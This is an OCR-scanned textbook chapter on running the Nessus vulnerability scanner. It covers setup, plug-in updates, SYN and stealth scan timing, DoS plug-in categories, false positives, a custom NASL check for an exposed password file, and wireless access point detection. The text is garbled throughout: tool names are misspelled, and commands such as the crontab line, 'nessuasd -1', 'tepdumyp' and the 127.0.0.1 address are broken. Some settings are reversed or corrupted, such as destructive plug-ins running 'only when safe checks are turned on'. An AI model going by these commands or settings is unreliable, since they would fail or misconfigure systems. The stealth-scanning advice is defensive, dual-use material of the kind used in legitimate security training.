1f the Nessus server is configured with a local firewall, such as ZoneAlarm, Sygate, Black1CE, or the Windows
Firewall, connections must be opened from the remote client's 1P address.

By default, port 1241 is used. On Microsoft XP Service Pack 2 and later, running the Security Center icon
from the Control Panel will present the user with the opportunity to manage the Windows Firewall settings. To
open up port 1241, the administrator must click the Exceptions tab and then add port 1241 to the list.

Creating a System User Account

A new user account dedicated to Messus must be created on every platform to be tested. This account must ot
have a password and should not be a part of any domain group other than Messus Test Accounts. A good name
far this account is nessustest.
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Figure 3-5 Use the netstat -an command 1o verify that Messus is listening.

Updating Nessus Plug-Ins

As new flaws are being discovered and published every day, new Messus plug-ins are written both by Tenable
Metwork Security and the user community. In order to perform a security test with any sore of accuracy, plug-

ins must be updated before every test.

Automatic UNIX Updates

The best way to update plug-ins is to configure the system to do it automatically. To configure a UNIX system
to update plug-ins every night, follow these steps:
* Act as the root user by typing su root |or sudo bash if the account has sudo privileges|.
* Type crontab -e to edit the crontab of the roor user.
* Add the following line to the crontab:
13 3 + * + fnerdlocal/sbhin/nessus-update-plugins

The above configuration will call the command nessus-update-plugins every night ar 3:13 a.m.; nessus-update-
plugins restarts Messus automatically without imterrupting any ongoing scans.

Nessus Plugin Update Wizard

Messus can also be updated with the help of the Messus Plugin Update Wizard. To perform an update, an admin-
istrator clicks Update Plugins from the menu on the left. On the Update Messus Plugins page, the administrator
selects Start Plogin Update Wizard, as shown in Figure 4-6.

Wessus arganizes its vulnerability checks by plug-in and plug-in family. If a family is turmed on completely,
all oof the plug-ins within that family are enabled. When the plug-ins are updated, any new plug-ins within that
family will be automatically enabled.

Updating Plug-Ins Through Web Proxies

Messus Windows supports product registration and plug-in updates through Web proxies that reguire basic
authentication or Windows Integrated Authentication. When updating plug-ins or registering activation codes,
the user should be presented with a pop-up window asking for login credentials, as seen in Figure 4-7.
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Figure 4-6 The Nessus Plugin Update Wizard will update plug-ins automatically.
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Fgure 4-F  Nessus Windows supports product registration and
plug-ins through Web praxies requiring authentication.
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Using the Nessus Client

In the native client, enter the server 1P, username, and password (created with the nessus-adduser command) and
press the Log in button, as shown in Figure 4-8_ If login is not working, consider the following:

* Ensure the server daemon is running.

* Type ps -A | grep “nessusd”. 1f nessusd does not exist, start the Nessus daemon with the command
nessuasd -1

* The traditional port is 3001, The IANA-asigned port is 1241

* Make sure that the client and server are both updated to the latest version.

Performing a Nessus Vulnerability Scan
Start Messus from the Desktop or Start menu, The welcome screen shown in Figure 4-9 should appear.

Launching the Scan

To launch a sean, click Start Scan Task on the Messus welcome page. The next screen, shown in Figure 4-10, wil|
ask for an [P address or range of IP addresses. The 1P address can be entered in CIDR (Classless Interdomain
Routing) format or with the network mask following the address. A host name is also a valid entry as long as it
is resolvable on the server or the fully qualified domain name, such as ressis_teralile. conr, is used. To scan the
machine running Messus, enter the internal [P address 127.000.1.

Wessus can also make use of an address book that contains multiple network target addresses. By dicking
on Address Book, the user will be presented with a list of current network targets and can add, edit, and delete
them. These targets can also be used to select the desired networks for scanning,.
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Figure 4-8  Enter the server [P, username, and password, and press the
Log in button to kog in.
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After entering the desired address, click the Next button. The next screen will ask for plug-in options. A par-
ticular vulnerability may be checked by one or more plug-ins. All plug-ins have a Nessus I, which is a number
unigue to that plug-in, and a short description. Figure 4-11 shows an example of a plug-in.
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Figure 4-0  After starting Messies, this scresn should appear.
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Figure 4-11 This is an example of & Nessus plug-in.
Selecting the Nessus Server

The next screen prompes the user to select the Messus server that will perform the scan. Since Nessus has a
client-server architecture, it is possible to use a remote Messus server to scan a target, provided it is not a user-
compiled version or a version before Messus 3.0,

The client and server for Nessus Windows are not entirely separate. The client can control any Messus server
with regard to performing a scan, but it will not push plug-ins to or poll plug-ins from any server other than
the Messus Windows server that is installed along with the client. This means that if Messus Windows has the
Direct Feed and the remote server has only the Registered Feed, the scan can only ke configured to include
compliance checks and the most recent plug-ins (less than seven days old), but the remote server will not be able
b p:rfnrm these checks.

Conversely, if Messus Windows has the Registered Feed and the remote server has the Direct Feed, then a
compliance scan or a regular scan cannot be set up using the most recent plug-ins (ks than seven days old).
Therefore, to use the Messus Windows client with a remote server, update the plug-ins on bath MNessus installa-
tions and be swre to use the same type of plug-in feed (Direct or Registered| on both scanners.

At the server selection screen, shown in Figure 4-12, enter the name or 1P address, username, and password
for the remote server, or choose the option to scan from the localhost.

Tao launch the scan, click Scan now. There will be a short pause and then Messus will begin scanning
the targets.

Watching the S5can’s Progress

When a scan is launched, Nessus will display the total progress and a summary of the rolling results. It will show
the current list of 1P addresses being scanned, along with a progress bar tracking the entire scanning process.
While the scan is progressing, the Messus application can be minimized. When the scan is finished, Messus will
launch a new instance of Internet Explorer to display the scan results.

Stopping a Scan

While a scan is in progress, it can be paused or stopped. When a scan is stopped, Messus saves the current results
and they are immediately viewable. When a scan is paused, it can be resumed when desired.

Generating Reports

When Messus finishes its scan, it will generate a report like the one shown in Figure 4-13. This report can be
saved in several different formats, including HTML (with or without graphics), XML, LaTeX, ASCIL, and MBE
(Messus BackEnd). Ttems in the resalts list with a light-bulb icon are notes or tips that provide information about
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a service or suggest ways to help better secure the hosts_ ltems with an exclamation point next to them show
mild security flaws, while items with a no-entry symbol suggest a severe security hole. Authors of the individual
scripts used by the MNessus plug-ins decide how to categorize the findings.
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Figure 4-12 Either select a remote server or scan the localhost.
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Figure 4-13  Messus will generate a report when a scan is complete.
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Identifying Targets

o to the Targets tab, shown in Figure 4-14, to identify targets. A target could be a single 1P address, a subnet,
or a range of 1" addresses. Break down the targets into logical groops.

Safe Check

The safe check setting in Messus allows the user to check plug-ins being used for vulnerability testing that might
have negative effects on the network and makes these plug-ins “play nice,” with the idea that they will cause
i damage or imterruption of the target system except perhaps a log entry. It forces the plug-ins to use a passive
method to scan for vulnerabilities such as version numbers in banners. Safe checks may not be reliable because
patches are not updated regularly. This may resalt in false positives or false negatives. Safe check can be enabled
by checking the Safe checks check box in the Options tab, as shown in Figure 4-15.

Anather method of crganizing plog-ins is in families such as Windows, FTP SMMP, 5MB, Cisco, etc. How-
ever, this can create problems. An FTF vulnerahbility that exists only on a Windows box could go in the Windows
family or the FTP family. Unfortunately, this decision is left up to the plug-in writer, and there are examples
of both. When using filtering, it can be initiated on name, family, plug-in number, etc. Clicking on the family
and then the plug-in will give details of what the plug-in tests for. This filtering should be used with caution as,
for example, the MOS family is not the same as the dangerous/DHOS category of plug-ins. A dangerous/DN05S-
categary plug-in actually exploits the vulnerability, while a plug-in in the DOS family may just check for the
vulmerability by checking software versions.

Host Identification

Many organizations will not be able to run full scans against their entire enterprise on a routine basis. For these
organizations, host discovery scanning will show the dispersal and types of resources. A Rapid Host Discovery
scan utilizes only a few Messus modules and quickly sweeps the target network for hosts,
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Figure 413 The 5afe checks option chedks plug-ins to
make sure they are safe.

The scan administrator can choose many different methods of rapid host discovery scanning. For example,
a vulnerahility scanner cannot assume anything regarding the host that it is scanning. One of the initial steps
that Nessus takes is to attempt to identify the remote operating system. This is a highly critical step, as the other
Messus modules will often rely on this information when deciding bow to handle the hose.

Messus pings hosts to see if specific hosts and specific ports are alive. There are settings for ARF ping,
ICMP ping, and TCPF ping, as shown in Figure 4-16. If both ICMP ping and TCPF ping are selected, MNes-
sus will attempt to connect to hosts using both protocals. ICMP ping scanning will quickly return a list of
workstations and servers. Mote that systems that have disabled ICMP or are firewalled will not show wp in
such a scan.

Messus utilizes the following means to determine the operating system:

= If the remote host is @ Windows host, it will attempt to determine its 08 type by sending M5SRPC pack-
ets to port 139 or 445 and guess the 05 based on the results.
= [If the remote host has an MTP client listening on port 123, Nessus will try to ascertain the 05 through
NTP gueries.
If the above checks are run and the operating system is still not known, it may be for a number of reasons.
These may include the following:

* The host may be firewalled. If there are no open parts or if the system filters certain FOMP types, then
Messus may not be able to obtain an accurate reading on the operating system.

The TCMIF stack on the remate host may have been purpasefully obfuscared.
The IF address being tested may be a load balancer that is spreading the traffic across multiple back-end

systems.
¥ There may be a Port Address Translation {PAT] server between the scanner and the scanned host.
® The remate host may be running a non-RFC-compliant application.

® The remate host may be 50 uncommaon that ne one has submitted any fingerprints for such a host.
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Figure 4-16  Messus can use an &RP ping, a TCP ping,
ar an I[CMP ping to discover hosts.

Service Detection

Adfter getting a hosts list, Messus determines which services are running on those hosts by using ACT_SCANMER
plug-ins. Messus can use different plug-ins because there are different types of port scanner technologies. It
usually uses nmap_wrapper.nes, written in C, or nmap_nasl, written in MASL. Both provide an uninterrupted
interface to all of the Nmap port scanner’s configuration parameters. Other port scanners using the C language
include 5¥ N scan, synscanmes, and the TCF connect scan nmap_tcp_conmect.nes.

After compiling the total list of ports, Nessus introduces service detection plug-ins to detect the type of the
services behind each vpen port using find_service.nes, written in C, or find_serviceZ.nasl, written in MASL.
Bath detect the type of services for which a particular port responds. These plug-ins are very useful even if a
particular port is 851 protected, and can find the type of service running behind fingerprinting technigues.

Vulnerability Fingerprinting

VYulnerability fingerprinting  plug-ins  include  ACT ATTACK, ACT _MIXED_ATTACK, and
ACT_DESTRUCTIVE_ATTACK.

PMlug-ins that bypass defenses without adverse effects on system availability are tagged as ACT_ATTACK.
The feasibility of the attack is verified by relving on the results of the MASL plug-ins launched.

The ACT_MIXED_ATTACK script is used with safe checks in a destructive fashion or as a safe attack with
less assurance as to whether the server is vulnerable or not.

The ACT_DESTRUCTIVE_ATTACK plug-in is used only when safe checks are turned on, because of s
destructive behavior at the target system. This may include locking accounts, crashing services, or exploiting
FUNMIng SErvices.
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Figure 4-17 The Port scan tab gives options for which ports Messus should scan.

DoS Testing

Messus can test the server or the network for known DoS vulnerabi lities. ]‘|ug—i.ns with ACT_DENIAL, ACT_
FLOOD, and ACT_KILL_HOST create real DoS attacks, and the ACT_DEMNIAL script tries to kill a service.
The end_denial function is used in ACT_FLOOD at the plug-in end to determine if the remote host is alive or
not. ACT_KILL_HOST contains all plug-ins that attempt o kill the operating system.

Port Scan

There are several settings for advanced port-scanning control. The Port range to scan option specifies which
ports to scan. Also, the Max number of packets per second for port scan walue can be reduced to improve port
SCAN ACCUrICY and prevent network ﬂ'l:r::}l:ing or other pruhlms. I"|.r|.=|.|y. ports that should not have two plu.g-in:
running simultanesusly can be listed with the Mo simult ports option.

‘Within the Port scan tab, shown in Figure 4-17, the port range can be specified. Messus can be set to scan
well-known services, privileged ports, or a specific range of ports. Fort scanners are a category of plug-ins spe-
cific to scanming ports. Therefore, they are kept separate fram the rest of the plug-ins.

5YN Scan

A ST scan is difficult o block, because it does not complete the connection. This scan starts but does not fin-
ish the TCP handshake sequence for sach port selected. A YN packet is then sent. The port is marked open if
an ACK packet is received within the specified timeout. It works well for direct scanning and often works well
through firewalls. Another benefit stealthwise is that a 5YN scan looks like a failed connection attempe, so it
will not generate alarms on many 105 and firewalls.

A SYN scan can be enabled in the Port scanners area of the Part scan tab, as shown in Figure 4-18.
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Figure 418 A 5YN scan looks like a failed connection attempt
and is difficult to block.
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Figure 4-19 Timing can be changed if the scan is taking
too long or if more stealth is desired.

Timing

If scans are taking too long to complete or obvious ports are missing from the scan, various time parameters
may need to be adjusted, as shown in Figure 4-1%.

Scanning firewalled or sbow networks can be time consuming. Port scan speed can be increased, but thar
increases the possibility of missing slow-responding ports, decreases stealth, and increases the possibility of a
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Figure 4-30 These are some rules to use when determining what ports to scan.

system crash, so this should be done with care. Messus® built-in port scans work well, but sometimes more con-

trol is needed. The following are the preset scanning speeds:
= Jusane is generally too fast to be useful.
® Appressive works well for scans across fast LANs.
* Mormal is recommended for most uses.
® Folite is useful across show WAM links or to hide the scan.
® fweaky is very stealthy bat requires some time.

® Framoid reguires a lot of time.

Ports to Scan

By default, Wessus only runs vulnerabilities against ports found to be open, so the choice of ports to scan is very
important. [t would be ideal to scan for all ports, bat due to time constraints and desire for stealth, this can
usually only be done when scanning a small nomber < 20) of hosts.

‘When scanning a large rumber of hosts, a small selection of commanly used ports is typically scanned. The
default approach is to scan all privileged ports (TCP ports 1-1024) and the ports listed in the Mmap services file.
This would cover all the well-known ports that applications normally use and the ports that some Trojans use.

To speed up scans even more, a subset of the well-known ports might be scanned. Scanning ports HT TP 80,
BOED; Windows 135, 139, 445; HTTPS 443; FTF 21; SMTF; and SWMP 161 would sdentify ports that most
aften have vulnerahilities associated with them. This is a good option when time is critical and a large number
of hosts must be analyzed.

If the scan is looking for a specific vulnerability {for example, M503-39, the Blaster vulnerability), only the
parts associated with the 1.'|.1|:|1|:n.|:\d|it:r [for Blaster, 132, 1349, and 445} would need to be scanned.

Figure 4-20 shows some rubes of thumb when choosing what ports to scan.

Plug-in Selection

Omnece Messus has been installed and connected to a target, the user may create a custom policy by clicking on
the + (Add Policy) batton under the box with the heading Select a scan policy. The Edit Policy window will
be displayed with six section tabs: Policy, Options, Credentials, Mugin Selection, Network, and Advanced.
Looking at the Flugin Selection tab, Nessus organizes its volnerability checks by plug-in and plug-in family.
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Figure 4-21 Enabling all but dangerous plug-ins will not attermpt denial-of-
service attacks.

A particular vulmerability may be checked by one or more plug-ins. All plug-ins have 2 unigue Messus 1D and
a short descripeion.

All plug-ins check for the presence of information. Some checks are pure audits, such as finding an open
port, and other checks are for exploitable holes. Messus labels these checks as informational, warnings,
and holes.

There are mare than 10,000 plug-ins available. Each plug-in checks for one or more unique vulnerahilities.
To help organize these security checks, Tenable Metwork Security, a company that provides paid technical sup-
puort for this free program, places each of these plug-ins into families, or categories. One of these families s the
denial-of-service attacks family.

Within this family, choosing the first option, Enable all but dangerous plog-ins with defawlt settings, as
showen in Figure 4-21, will allow all security checks except the denial-of-service attacks to be performed using
the default configuration settings. The second option includes the denial-of-service attacks with the default
configuration settings and could cause an interruption of service to the hosts being tested.

The third option allows the user to select a predefined policy. A user creating a policy is able to first select
specific configuration settings and then sebect security checks and save the policy for future use.

The fourth option, Define my policy, will allow the user to create a policy with certain configuration options
and checks for scanning. First, the user will be able to choose the specific configuration settings w0 be used for
the policy. Then, the user can select the security checks by family or specific individual checks.

Dangerous Plug-Ins
The configuration settings in the General tab set global parameters for the plug-ins run by MNessus. The Firse
setting disables dangerous plug-ins that can cause DS attacks to the host|s) being scanned. The next setting
sets the maximum number of hosts that will be scanned simultaneoushy. The third setting sets the maximum
number of security plug-ins that will be run on each host simultaneowsly. Some hosts can become disabled, either
temporarily or permanently, if too many plug-ins are launched at the same time.

The total number of running processes will be equivalent to the Max number of hosts times the Max number
of secarity checks. It is important to balance the two settings, so the network is not overwhelmed.
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The Advanced tab in the Edit Policy window includes means for granular control over scan settings. Also,
checking the Thorowgh tests check box causes some plug-ins o perform additional testing, which will produce
additional results but can increase the scan time.

This tab defines parameters for services-related plug-ins. These plug-ins determine what services are ranning
behind specified pores. A few of these settings in the Advanced tab will override the global parameters that were
set for Messus in the General screen for only the services plug-ins. This provides a way to minimize the impact
of security scans on printers or other devices that cannot support multiple open ports simultaneously.

T_|| p-. uf Fort
Fing Faatures

Highamibility  Gat nimq:uh Erabla 0, 8080, 135,
138, 445, 443,
21, 181

Scanning Rules of Thumb
Table 4-1 shows some scanning rules of thumb.

I'rhn'nnt-lnlnd I.lﬂ_r Dapands .H’hrl'l‘lﬂ Ho S¥N scan I—'Ilal-.md

Stanlthy scon SWH scan 80, B0ED, 135,
withi o slowor 139, 845 443
Nmaptiming 21, 181

Table 4-1 This tahle shows soms good rules to follow whan scanning with Bessus In various situations

Report Generation

The MWessus security report will automatically pop up as a new instance of Internet Explorer, as shown in
Figure 4-22. All reports are archived and available for viewing and printing.

Tir access the archived reports, select the View Reports option from the welcome menw. Reports can be viewsd
in multiple formats. In addition, clicking Import repart from the View Reports screen allows the user to import
a report from another system, in XML, MBE, or NSR format, and it will be added to the report list.

Sharing Nessus Reports

It may prove useful to save a specific Messus report and e-mail it to a customer, administrator, or supervisor.
The folluwing are some ways to do this:

* Wb archives: An easy way to share reports is to save the report as 0 Microsoft Web Archive ((MHT)
file. While viewing a report, the Internet Explorer browser can save all of the text, layout, and images in
a single file known as a Web archive. This archive can be easily e-mailed, shared, and viewed on other
Windows systems. Web archives can be opened by many Web browsers as well as recent versions of
Microsoft Word and PowerPoint.

Rae HTML: While viewing a report, a user can save the direct HTML and images. This format is not ideal
because the data is spread between an HTML file and the images and comtent style sheets for the repart.
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Figure 4-22 Nessus gives its security reparts in XML and archives them far
later reference.

* Printing fo FOF: Although not directly supported by Messus, if the system has a PDF print server, the
actual report can be “printed™ to a PIVF file. This file can then be shared across any operating system
that has a PDF viewer installed.

* XML output: Each Nessus report is available in raw XML form. This can be imported into Microsoft
Excel for manipulation and analysis.

Command-Line Mode

Messus can be launched from the DOS command line. To do this, simply execute the MessusCmad_exe file from
the CAProgram Files\Tenablet Messus directory, as shown in Figure 4-13.

This will cause a scan to be executed, but it will not invake the nessusd exe file. The Nessus daeman must
already be running in order for the command-line mode to proceed.

In addition, there is an executable named updatecmd.exe that can be used to schedule the downloading and
updating of vulnerability checks. Simply running this command will download and configure the latest vulner-
ahility checks.

After a scan has completed, the report will be located in the following directory=

CaDocuments and Settingstcadmin_usernamestTenable\MNessusireports

False Positives

Messus plug-in writers go to great lengths to anticipate how a machine will respond to a given query. However,
Iy OnE CAn anticipate every permutation. At some point, every plug-in is vulnerable o a false positive. A false
puositive is where a plug-in determines that a system is vulnerable when it is not actually vulnerable.
Examples of false positives might include the following;:
* Scanning a machine that is actually forwarding all traffic to a back-end system [Metwork
Address Translation)
* Scanning a machine that is actually forwarding multiple pores to multiple back-end systems {Fore
Address Translation)
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Figure 4-23 A Nessus scan can be inftiated from the command line.

* Scanning o machine that is actually a virtual address for multiple machines

® Scanning a machine that has been purposely altered to give the scanner bad information

® Scanning a machine that is proxying TCP connections (such as the OpenBSIY scrub option)

Identifying False Positives

The following are steps that can be taken when suspecting a false positive:

Edit the MASL script and put a display() call every few lines. Display responses from the server. Display
the request that prompeed such a response. For example:

r = recv(socket:soc, length:65535); displayir);

. Use a sniffer to read and record all traffic between the Nessus scanner and the target [P. Try to only trap

the traffic while the one specific MASL script is running. Examine the stimulus sent to the server and the
response. Compare this information with the actual MASL code.

Submitting a False Positive Report to Tenable

1f a false positive is found, be sure to send a report to Tenable in order to reduce the oocurrence of that false
positive i the future. Follow these steps when submitting the repore:

ool ok e

Send the trace file. Topdump ar Ethereal trace files are required [peap format). A Tepdump trace file can
be generated by running a command similar to the following:

tepdumyp -i <interfaces -s0 -w for_tenable.trace <peap fiker=

. Send screenshots, where applicable.

Send relevant Knowledge Base (KB| items.

. Telnet to the port and report back banners where applicable.
. If applicable, send the HTML code that is generating a false positive.

. Retrieve relevant messages from nessusd.messages.

Suspicious Signs

COne suspicious sign is inconsistent results, especially when reporting a wulnerability for a software package
that doesnt seem to reside on the target. Suppose a target is identified as Windows-based, yet an apparent
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UMNIX-based vulnerability is found. This should raise suspicions; however, the item should not be immediately
written off. There could be three possible explanations:

1. The item is false.

2. The O5 and software detection is wrong-

3. The problem software has been unexpectedly ported to this operating system.

Writing Nessus Plug-Ins

Organizations that require scanning of their networks for the latest vulnerabilities often end up writing their
own scanners from scratch with every new vulnerahbility found. Messus provides an excellent framework in
which to write custom vulnerability checks.

Adfter insta lling Messus, look at the MASL scripts in the fustflocal libfnessus'plugins! directory. The Messus server
executes these scripts during scanning. To run a specific script on the command line, use the MASL interpreter,
nasl, with the -t switch to signify the host to scan. For example, finger.nasl connects to a remote host on pare 79
to check if the fingerd daemon is running. To ran this script againse the host, run the following command:

nasl -t 127000L1 finger.nas]

As an example for writing a custom plug-in, say there is a homemade Web application that serves the file
ssrefpasswd.ine when a client requests the URL bttpafhostsrofpasswd.inc, This file contains usermames and
password hashes, so of course the server should not serve it. The MASL script shown in Figure 4-24 scans for
this specific vulnerahility.

The following describe the variables in this scripe:

* description holds a nonzero value

* goript _ id sets a unique 1D for the plug-in

* goript _ wersion sets the version number of the plug-in
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Figure 4-24 This MASL script scans for the specific vulnerability discussed abowe.
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script _ descripticn sets the description of the plug-in

script _ summary produces a summary description of the plug-in
script _ category sets the plug-in's category, as required by Nessus
script _ copyright sets author copyright information

soript _ require  porbs sets the port related to the valnerabiliey

Installing and Running the Plug-In

The plug-in can be installed and run by performing the follvwing steps:

1.
2z
3.
4.

Place the MASL script in the fusrilocalflib/nessus/plugins directory. Be sure it has the _nasl extension.
Run the Messus GUI dient and select the Mugins tah.

Make sure that OGI Abuses is selected. Highlight CGI Abuses and enable Checks forssrc/passwad.inc.
Use the Filter button to find the plug-in.

The Messus report will generate output for the plog-in ar the next scan, s shown in Figure 4-15.

Messus Architecture and Design

Intraducing a sniffer om the network and capturing the existing traffic from the nessusd daemon o the tested
network may reveal to an observer that Messus starts the following:

A scan of a network range through ICMP sweep

A full port scan of each machine
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Figure 4-25 The next Messus scan will show owtput from
the oreated plug-in.
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-

A process of detecting every service with the related plug-ins

This type of traffic may come from a single process introduced by a single nessusd dasmon.
Messus uses an individual process model for each of the following events:

-

-

Messus server provides a new process to arrange each clients connection.
Messus dasmon starts a new process for each host scanned.

Messus starts a new process for each plug-in, host, and scan_

Nessus User Community

The Messus user community provides:

-

-

Messus client for Windows
‘Web-based interfaces for configuring and managing scans
Tuls for displaying and managing results

It alse inchudes the following:

-

-

-

Chnlime Plug-in Database: The Online Mug-in Database supports viewing by family or popularity, listing
recent additions, or searching for plug-ins by keyword.

Reporting bugs through Bupzille: The Messus Bug Tracker uses Bugzilla software to track bugs in Mes-
sus, its associated plug-ins, the Nessus installer, MessusW X, and Web sites in the messns.org domain.
The bug tracker provides these advantages:

® Sends back problem updates through a set of e-mail alerts
= Helps project developers to coordinate their efforts in dealing with bugs
* Decreases duplicate bug entries

Submitting patches and plug-ins: Users can include patches to the existing code in their bug reports ar
enhancement requests whenever passible.

Tenable Security Center

The

Tenable Security Center provides proactive, asset-based security risk management. It unifies the

following processes:

-

-

-

Asset discovery
Vulnerahility detection
Event management

Compliance reporting

Security Center facilitates communication between security, 1T, management, and avdit teams. lts

features include:

-

-

-

Asset discovery: The program combines the knowledge of existing asset inventories with the vulnerahil-
ity and compliance information discovered by Messus and the Pasive Vulnerability Scanner.

Security warkflow: To handle mitigation of security issues, the Security Center includes its vwn ticket-

ing and workflow system. Any vulnerability or compliance issue can have a ticket opened against it.
These tickets can he applied to:

= Just the vulnerable system

= Any system having this vulnerability

* Any vulmerable system in an asset group

Reporting and viswalization: The Security Center provides several different methods for users to report
and wvisualize their vulnerability, compliance, and event data.

Distributed scanming: Security Center can be used to place multiple Messus scanners throughout a larger
network. Using multiple scanners decreases scan time.
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Figure £-26 Tenable Security Center provides asset-based security risk management.

® D% event correlation: The Security Center can receive an [ event from many of the leading com-
mercial and open-source solutions. When these events are received, they are instantly correlated against
potential vulnerabilities on the target.

Tenable Security Center is shown in Figure 4-26 and supports events from the following 105 sources:
* Bro

* 3Com TeppingPoint

¥ Cico ID5

Enterasys Dragon
= Fortinet

& [55 Proventia

® Juniper/MetScreen [IPS
= McAdee IntruShield
= Snort

Managing Data
Orutput files that Nessus produces after each scan can be manipulated in several ways. One way of doing this

is to use the UNIX diff command to compare two output files from different scans. Before doing this, process
them inte a more readable format. Take a raw MBE file and process it using the following command:

nessus -i examplenbe -0 example.nsr

This converts the file into a less verbose format that excludes time stamps and ather bess-relevant data. After
this, sort the output with the following command:

sort example.nsr = sorted.nse
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Then, run the diff command on the sorted outpuat files:
diff alder_sorted.msr mewer_sorted.nsr

scripting in Perl allows the automation of some of these functions. While any scripting language can perform
this type of raw-text manipulation, Perl allows access to powerful library modules through the Comprehensive
Perl Archive Metwork (CPFAN L

Chief among these is the Parse: Nessus: WBE module, which guickly performs text processing of NBE output
files without using tedious parsing code. The module may be installed using the following CPAN command:

install ParsenMessus::MBE

Omee it is installed, make vuse of the following predefined functions by including the statement use
Farse::Nessus::MBE in lhE hl:ﬂdl!r:

* nbanners(@input) returns a list of welcome banners for each system included in the input dat
* nos(@input] provides a list of operating systems
* nportsi@input, Sport) returns a list of all hosts listening on the specified pore

* mwebdirs{@input] returns two lists: the first contains all open-access Web directories, while the sec-
ond contains those that require authentication

* nnfs(@input) returns a list of MFS shares

Simplifying Scans

Messus can cawse an entire (A subnet to halt due to open connections that exhaust the server's memory. This
can be avoided by dividing networks into small, manageable IP spaces and maintaining data in a spreadsheet.
This approach allows for more intelligent scanning, even while using common off-the-shelf or open-source tools
that lack heavy enterprise management features.

Step 1: Collect Inventory
Create a spreadsheet that lists all managed systems and includes the following columns:

* Systems Managed

* [Internal IP Address

* External Address

* Host Name

. FQDN

= 5

* Version

* Purpose

* Type

* System Owner

* Criticality

For example, a record set may look like the following:

Systams | Internal IP | Extarmal Verstom | Pur Type
Managed | Address Address
(Systamd 1521681.23 65314.43.37 wmbid m Linue 243 Public Sarver llli

Wwab
sarvar

Omee the inventory is created, scans take significantly less time.
For large networks, start with an Mmap or Messus scan to collect the host names and related information. At
the very least, define the IP addresses, host name, FQDMN [if known), and O8 information on systems attached
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to the network. Import existing data to the spreadshest or run a scan and dump the information out as comma-
separated values,

Step 2: System Classification

The next step is to categorize the host list in the spreadsheet by 05, logical, and physical locations. Generally,
the worksheet's sort function is used to organize the data. In this way, production Web servers, less-important
deskrops, and R&ID systems are separated even if they reside on the same network.

The next major classification is the 05 and version. Such a classification has a breakdown of the production
and (A Web servers, desktops, and development systems by 08 and version. This is beneficial when a security
vulnerahility targeting a specific 0% and version is discovered.

Step 3: Scanning
The next step is to set up the scan jobs. In Nessus, name new scan jobs with the same names used in the spread-
sheet. Coordinating job names offers the benefit of improved performance, because it minimizes the number
af plug-ins used by the scanner to only those needed for a specific platform. Most scanning tools will accept a
list of session profiles.

‘When using port scanners like Messus, it is best to break up the target files into simple tab-delimited text
files. Wmap allows an external file to be used to enumerate hosts for scanning.

Wireless Access Points (WAPs)

Wireless Scanning for WAPs

WAP audits can be done either with a manual inspection or with a dedicated inspection.

In a manual inspection, the auditor will configure some sort of moebile device such as a handheld PC or laptop
and physically visit the area to be monitored for detection of WAPs. This process can include walking through
the area, driving through the area, or even flying over the area.

Manual wireless scanning can ocour with active or passive techniques. Active techniques will typically find
many WAPs but will not find one that has not been configured to respond to this sort of query. With a passive
technigue, the mere presence of any wireless communication will be identified. This will catch any WAP that is
in use.

For a dedicated wireless monitoring device, it is common to deploy a system dedicated to look for WAP activ-
ity. Because these are available 2447, they can be a powerful deterrent and are more cost effective than manual
WAFP scans. There are a wide variety of commercial and open-source solutions available to implement this sort
of monitoring.

Detecting WAPs Using the Nessus Vulnerability Scanner

Messus plug-in [} #11026, Access Point Detection, uses four techniques to identify the presence of 2 WAPR.
The checks are attempted in series and if one check succeeds, the remaining checks are not executed. The four
steps are:

1. Mmap TCHIP fingerprinting

2. HTTP fingerprinting

3. FTF fingerprinting

4. SMMP fingerprinting
Limitations and Advantages
Limitations:

® Messus cannot send a packet to the WA,

® WAPs eliminate ping response on the WAN network interface.

® Firewall features are provided to stop remote connections o the management’s Web interface and the
FTT and SMTF services.
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* A Nessus plug-in configures and detects a set of WAFs when a WAT is already connected.
* If a WAP is identified, it does not imply that its wireless services are enabled.
Adwantages:

* Physical WAP assessments are extensive and expensive.

* Physical searches recognize WAPs on and off the network.

* Current signatures discover new equipment from Cisco and SMC.

Configuring Nessus for a WAP Scan
* Update the Messus plug-in to the latest version.
* Configure a mew scan by selecting plug-in #11026.
* Allow a port scan for ports 1-100. Just ports 80 and 21 can be scanned if it must be done quickly.
* Verify that the Safe checks check box is checked.

* Verify whether Enable dependencies at rantime is enabled. If not, 05 fingerprinting will damage
SMMI probes,

Chapter Summary

Messus is an open-source scanner for various valnerabilities.
The assessment process includes scanning, enumeration, and vulnerability detection.

Messus uses various plug-ins to check for different types of vulnerabilities. These plug-ins are regularly
updated, and new ones are added all the time.

Users cam write their own plug-ins to meet their specific needs.
Messus generates reports that can be easily saved and shared.
Tenahle Security Center provides asset-based security risk management.

Review Questions
l. What is WASL and how is it used?

. What happens in Messus’s scanning phase?

3. What happens in Messus’s enumeration phase?
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4. Describe three ways to update Messus plug-ins.

5. Mame four ways to share Messus reports.

. Mame the four processes that the Tenable Security Center brings together.

7. Describe the process through which Messus detects WAPs.

B. How can you determine that Messus might be reporting a false positive?

Hands-On Projects

1. Install the Nessus tool.
® Mavigate to Chapter 5 of the Student Resource Center.
= Install Messus-3.2.0.
® The Produoct Registration dialog box opens, as shown in Figure 4-27. Register the product

nevw, or skip.

After finishing the registration, plug-in installation begins.
= After the plug-ins are installed, click the Finish button.
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Figure 4-27 Register the product now, or da it later.

2. Use the Messus toal for vulnerability scanning.

Click the Start buttaon, then All Programs, Tenable Metwork Security, Messus, and finally
Messus Client.

The welcome screen shown in Figure 4-28 should display. Click the Scan tab and click the
plus button.

I3 deises : Untified

Batmards boacan : Smbct & non ok

Dehordk 3o ok
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Figure 4-28 Click the 5can tab, then the plus button.
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In the Edit Target window seen in Figure 4-29, select an option, enter a Host name, and
then dick the Save button.
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Figure 4-29  5Select an option, enter a Host name,
and then dick the Save button.

Click the Mew policy option shown in Figure 4-30 and click the plus button.
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Figure 4-30  {lick the New policy option and dick the plus button.
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® In the Edit Policy window seen in Figure 4-31, click the Save button.
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Fgure 4-31  Click the Sawe buttan.

# In the Messus window shown in Figure 4-32, cdick the Scan Now button.
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Figure 4-32  Click the Scan Now button.

® A report will be generated that can be saved in any location.



Chapter

Designing a DMZ

Objectives
After completing this chapter, you should be able to:

uUnderstand baslc DMZ concepts
Utllize DMZ design fundamentals
Design & Windows-based DME
Design & Sun Solarls DMZ

Daslgn & WLAMN DMZ

Key Terms

Accoss control list [ACL)  a list that determines who is allowed sccess bo an item in a network and
how that item can be used

Bastion host a device in a DME that is built to withstand attacks and that serves as an access
point for unknown networks

Inside-varsus-outside architectura  a type of DMZ architecture in which the packet-filering
routers act as the initial line of defense

